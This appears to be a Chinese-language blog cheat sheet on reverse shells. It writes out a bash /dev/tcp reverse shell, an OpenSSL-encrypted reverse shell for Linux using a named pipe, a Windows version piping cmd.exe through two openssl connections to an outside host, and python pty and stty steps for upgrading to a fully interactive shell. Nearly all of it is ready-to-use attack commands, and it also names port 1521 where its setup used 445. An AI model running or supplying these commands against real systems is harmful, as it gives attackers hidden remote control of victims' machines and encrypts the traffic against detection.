openssl反彈shell與功能齊全的交互式shell

基礎bash反彈shell

/bin/bash -i >& /dev/tcp/1.1.1.1/443 0>&1
nc -nvlp 443

Linux下openssl加密反彈shell

  1. 在vps上生成 SSL 證書的公鑰/私鑰對
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes

-newkey rsa:2048選項聲明瞭使用RAS算法生成2048位的私鑰。
-nodes選項表明我們不使用密碼加密私鑰。
-keyout key.key:生成私鑰
-out cert.pem:生成pem證書

  1. vps上監聽反彈shell
openssl s_server -quiet -key key.pem -cert cert.pem -port 443
  1. 在目標上用openssl加密反彈shell的流量(使用openssl單向認證)
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 1.1.1.1:443 > /tmp/s; rm /tmp/s

注:openssl單/雙向認證參考:
https://blog.csdn.net/go_home_look/article/details/107238103

Windows下openssl加密反彈shell
1、服務端開啓兩個監聽,從 ip:port1 獲取命令發送給 cmd.exe執行,然後結果返回到 ip:port2。

openssl s_server -quiet -key key.pem -cert cert.pem -port 443
openssl s_server -quiet -key key.pem -cert cert.pem -port 445
  1. 客戶端執行
openssl s_client -quiet -connect 1.1.1.1:443 | cmd.exe | openssl s_client -quiet -connect 1.1.1.1:445

在服務端的443的窗口發送命令,然後服務端1521的窗口會收到執行結果:

使用python pty模塊將不完全shell變爲完全shell

$ python -c 'import pty; pty.spawn("/bin/bash")'

鍵入 Ctrl-Z,回到 VPS 的命令行中,再輸入如下命令:

$ stty raw -echo
$ fg

回到不完全shell 中;在不完全 shell 中鍵入 Ctrl-l,執行:

$ reset
$ export SHELL=bash
$ export TERM=xterm-256color
$ stty rows 54 columns 104

此時已經變成了功能齊全的交互式 shell,比如支持命令補全、語法高亮等。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章